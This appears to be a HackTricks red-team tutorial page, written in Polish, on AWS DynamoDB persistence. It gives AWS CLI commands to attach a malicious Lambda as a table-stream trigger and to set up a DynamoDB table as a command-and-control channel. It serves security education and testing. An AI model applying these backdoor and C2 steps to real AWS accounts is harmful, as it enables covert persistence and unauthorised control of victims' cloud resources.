AWS - DynamoDB Persistence

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

DynamoDB

Aby uzyskać więcej informacji, odwiedź:

pageAWS - DynamoDB Enum

Triggery DynamoDB z tylnymi drzwiami Lambda

Korzystając z triggerów DynamoDB, atakujący może stworzyć ukryte tylne drzwi poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wywoływana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Aby utrzymać trwałość, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje wywołanie złośliwej funkcji Lambda. Pozwala to atakującemu na wykonanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.

DynamoDB jako kanał C2

Atakujący może wykorzystać tabelę DynamoDB jako kanał komend i kontroli (C2), tworząc elementy zawierające polecenia i korzystając z skompromitowanych instancji lub funkcji Lambda do pobierania i wykonania tych poleceń.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Zainfekowane instancje lub funkcje Lambda mogą okresowo sprawdzać tabelę C2 w poszukiwaniu nowych poleceń, wykonywać je, a opcjonalnie raportować wyniki z powrotem do tabeli. Pozwala to atakującemu utrzymać trwałość i kontrolę nad zainfekowanymi zasobami.

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated